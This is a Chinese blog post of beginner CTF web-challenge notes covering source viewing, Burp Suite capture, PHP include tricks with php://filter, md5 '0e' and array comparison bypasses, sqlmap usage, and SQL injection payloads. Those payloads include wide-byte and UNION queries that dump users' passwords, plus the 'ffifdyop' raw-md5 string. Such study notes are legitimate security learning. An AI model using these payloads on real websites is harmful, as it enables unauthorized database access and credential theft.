ctf web基本步骤

原创

置顶 小小白成长记 于 2019-06-27 09:41:15 发布 22886 收藏 210
文章标签： web安全 ctf

本文链接：https://blog.csdn.net/qq_37158790/article/details/93847587

大家做ctf简单点的都可以用这些判断，基本上都会有，除非个别变态的。

1. 看源码

可以右键->【查看网页源代码】，也可以用火狐和谷歌浏览器的按F12键，按F12键可以修改html源代码方便构造一些值提交，但如果不需要的话直接右键查看源代码更直观，看网页里面的注释之类的都很方便。

2. 抓包

这几天接触到的抓包一般是用burpsuite，如果要多次尝试可以右键->【send to Repeater】，如果要对某个字段爆破可以右键->【send to Intruder】，这是我比较常用的两种burpsuite的功能。

今天还接触到谷歌浏览器：F12->Network->勾选【Preserve log】，也可以方便查看请求包和响应包的数据（包头字段和网页数据等）。

3. 关注的几个地方

有时候打开网页后感觉没有可疑的地方，首先查看下源代码，看有没有注释之类的提示信息，之后重新打开网页，抓抓包看下请求包响应包的包头数据有没有可疑的地方。

4. include漏洞

遇到php代码中有include($file)的，一般和 php://input或者php://filter有关，$file值如果是php://input，就要用post表单构造数据，如果是php://filter，就用下面的payload读取文件base64加密后的源代码，解密后查看源代码。

```
PHP://filter/read=convert.base64-encode/resource=文件名(如index.php)
```

5. 代码审计

需要多次动态调试来尝试，以及要关注里面出现的函数，出现在关键位置的函数一般都是有用的，搜索一下有没有相关的漏洞。

还有一些和数据处理有关的绕过，如md5函数结果相等（0ed+）的比较，以及strcmp(array,string)=null，除了遇到时多百度之外，平时也需要多积累到时候才能想到。

还有GET参数构造的时候如果传入的是数组要记得加[]，？txt[]=[1,2,3]，如果填?txt=[1,2,3]似乎不会被当做array处理。

6.编码

JS的几种编码（如JSFUCK）都可以在浏览器F12之后的控制台执行，这样可以省去找解密网站的时间。

html编码，base64编码，url编码等等都可以在burpsuite上的decoder栏解决，但是发现burpsuite有一点不好就是中文不能显示，不知道是不是字符编码没有配置好，找到一个网址：

https://emn178.github.io/online-tools/base64_decode.html

可以解好几种，界面也很简洁。

7.SQL注入

```
最近搞清楚了布尔注入，盲注之类的意思，布尔注入就像一个只会告诉你对或错的机器人，然后你去问他问题从而解决问题，盲注是说不会

a>对一个注入语句记个笔记：

%df' union select 1,database() %23 %df' union select 1,string from sql5.key %23

%df是在编码为gbk的时候用于宽字节注入的；%23就是#，但是用#不能通过；还有可以直接用 union select 字段名 from 数据库名.表

b>对用sqlmap进行手工注入的一些步骤记个笔记首先找到可以注入的点，比如找到网页的某个动态页面是可以注入用来显示信息的，然后将

python sqlmap.py -u "url" --level 3 --batch --dbs python sqlmap.py -u "url" --level 3 --batch -D ctf --tabl

-batch sqlmap不会询问你输入 全部默认确定

-level 3 指定等级，大于等于3的时候会涉及到http头注入的Referer字段

-（两个-）符号用于查询，比如-dbs用于查询所有的数据库，-tables用于查询所有的表，-（一个-）符号用于指定，比如-D ctf用于指

c>还有一些用union select来获得数据库信息的，链接

http://www.2cto.com/article/201208/151503.html

讲得很全面。
```

1. @@version() MYSQL版本
2. @@database() 当前数据库
3. @@user() 当前用户
4. @@datadir 当前数据库路径
5. @@version_compile_os 操作系统版本

1. concat(str1,str2,...) 没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...) 用分隔符连接字符串
3. group_concat(str1,str2,...) 用逗号分隔字符串

1. 查数据库名，用户名
union select 1,2,concat(user(),database(),version()),4,……,N --
（最后--用于注释掉后面sql语句避免出错）得到数据库名
2. 查表名： union select group_concat(0x0a,table_name),2
from information_schema.tables
where table_schema=库名十六进制#
（库名十六进制可以用database()代替）
3. 查列名 union select group_concat(0x0a,column_name)
,2 from information_schema.columns
where table_schema=database() and table_name='users'# （
也可以把表名改为十六进制编码0x7573657273）
4. 查需要的信息（用户名和密码）
union select group_concat(distinct 0x0a,user_id,0x0a,first_name,0x0a,
last_name,0x0a,user,0x0a,password,0x0a),
2 from users #

总结的都比较散碎也比较基础，以后积累的多了一些之后再来继续补充。

< 用这个表示\u003c >用这个表示 \u003e

https://www.cnblogs.com/youyoui/p/8610068.html 序列化

1、当在一个网页上找不到任何信息时，要查看他有没有robots.txt 或者前面的备份文件

2、extract() 函数从数组中将变量导入到当前的符号表。通俗的讲 就是可以将键变成变量名，键值可以变成变量名的值

sha1（）和md5（）都可以用数组绕过 而md5加密后判断相等时只要是0e字符串都会返回true

QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e3427684

3、file_get_contents（） 可以使用php://input传过去 再用post构建其里面的内容

include() 可以使用

PHP://filter/read=convert.base64-encode/resource=文件名(如index.php) 也可以使用上述的方法。

sql md5

看到这里的提交参数被MD5再组合进SQL查询语句，导致常规的注入手段几乎都失效了

但是注意到，MD5之后是hex格式，转化到字符串时如果出现'or'xxxx的形式，就会导致注入

这里提供一个抄来的字符串：ffifdyop

md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c

转成字符串为'or'6]!r,b

从而完成了注入